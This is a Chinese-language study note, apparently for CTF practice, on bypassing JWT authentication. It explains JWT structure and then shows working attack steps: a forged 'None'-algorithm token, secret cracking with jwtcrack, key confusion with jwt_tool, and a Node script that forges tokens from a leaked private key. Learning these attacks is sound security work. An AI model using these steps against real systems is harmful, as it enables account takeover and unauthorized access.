JWT认证绕过

JWT

jwt是一个轻量级的认证规范 对数据进行签名用的

防止数据被篡改

1. 对数据进行加密 内容对用户敏感，不需要对外
2. 对数据进行签名 内容不敏感，但是确保不被篡改

JWT是对数据进行签名，防止数据篡改，而不是防止数据被读取
JSON Web Token (JWT)
?username=admin&score=100 别人传递过程中，会对积分进行篡改
?username=admin&score=100&token=c17961f5f372f8cf039113909d715943
? md5(score=100&username=admin)=c17961f5f372f8cf039113909d715943
?score=100&username=admin&token=c17961ff372f8cf039113909d715943
篡改数据的同时，破解了算法，篡改了签名
加盐机制，salt
md5(score=100&username=admin_ctfshow)=20f3fa445b286df3f1a518fcbcd8bbe2

盐值有可能被爆破，也有可能被泄露
增加更高的密码算法，不再简单的md5，盐值也大幅度提高长度，达到几百上千位 来保证我们的数据不被篡改 或者即使篡改了我们能发现
由 Header、Payload、Signature 三部分构成，用点分隔，数据采用Base64URL进行编码

Header

Header是JWT的第一个部分，是一个 JSON 对象，主要声明了JWT的签名算法，如“HS256”、“RS256”等，以及其他可选参数，如“kid”等。

{
    "alg" : "HS256",
    "typ" : "jwt"
}

{
    "user" : "Admin"
}

Signature

Signature 是对 Header 和 Payload 进行签名，具体是用什么加密方式写在 Header 的 alg 中。同时拥有该部分的JWT被称为JWS，也就是签了名的JWT。Signature的功能是保护token完整性。

生成方法为将 header 和 payload 两个部分联结起来，然后通过 header 部分指定的算法，计算出签名。抽象成公式就是：

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是，编码 header 和 payload 时使用的编码方式为 base64urlencode，base64url 编码是 base64 的修改版，为了方便在网络中传输使用了不同的编码表，它不会在末尾填充”=”号，并将标准 Base64 中的 “+” 和 “/“ 分别改成了 “-“ 和 “_”。

JWT生成-在线网址&工具

python3 flask_session_cookie_manager3.py encode -s 'secret_key' -t '{"admin":True,"username":"admin"}'

漏洞点

1. 当不校验算法时，我们可以替换算法，甚至可以使用空的算法，来达到数据篡改目的：

{
    "alg" : "None",
    "typ" : "jwt"
}
{
    "user" : "Admin"
}
{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1673703091,"exp":1673710291,"nbf":1673703091,"sub":"admin","jti":"21a3d6eec9efbc030983fbc3650c0f03"}

ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0=.ewogICAgInVzZXIiIDogImFkbWluIgp9

JWT 爆破工具地址

https://github.com/brendan-rius/c-jwt-cracker

docker build . -t jwtcrack
docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

密钥混淆攻击

JWT最常用的两种算法是HMAC和RSA。HMAC用同一个密钥对token进行签名和认证。而RSA需要两个密钥，先用私钥加密生成JWT，然后使用其对应的公钥来解密验证。那么，后端代码会使用公钥作为秘密密钥，然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到，所以攻击者可以修改 header 中算法为HS256，然后使用RSA公钥对数据进行签名。

利用方式：jwt_tool

python3 jwt_tool.py token_here -pk pubkey -T -S hs256

密钥爆破/泄露

HMAC签名密钥（例如HS256 / HS384 / HS512）使用对称加密，这意味着对令牌进行签名的密钥也用于对其进行验证。由于签名验证是一个自包含的过程，因此可以测试令牌本身的有效密钥，而不必将其发送回应用程序进行验证。

因此，jwtcrack破解是JWT破解工具，可以通过穷举的方式暴力破解密钥。如果可以破解HMAC密钥，则可以伪造令牌中的任何内容，这个漏洞将会给系统带来非常严重的后果，所以在加密时不要使用弱密钥进行加密。

jwtcrack

./jwtcrack token_here

node安装jwt命令

npm install jsonwebtoken

1. 私钥泄露

可以根据私钥生成任意的jwt字符串：

const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync('private.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token);

2. 公钥泄露

可以根据公钥，修改算法从非对称算法到对称密钥算法。双方都使用公钥验签，顺利篡改数据。当公钥可以拿到时，如果使用对称密码，则对面使用相同的公钥进行解密，实现验签通过。

总结加密方式

1. 非对称加密算法：私钥、公钥。只要两个时匹配，一个私钥加密的文件，用公钥都能解开(验签)。

2. 对称加密算法：暗号、口令、公钥。

总结jwt攻击

1. 空密码算法绕过：不验证算法的前提下。
2. 弱密码绕过：猜测弱密码。
3. 密码爆破：安装docker，执行jwtcracker。
4. 私钥泄露：直接利用私钥生成正确jwt字符串，过验签。
5. 公钥泄露：不验证算法前提下，修改算法为对称加密，通过公钥重新生成对称签名的字符串，实现验签通过。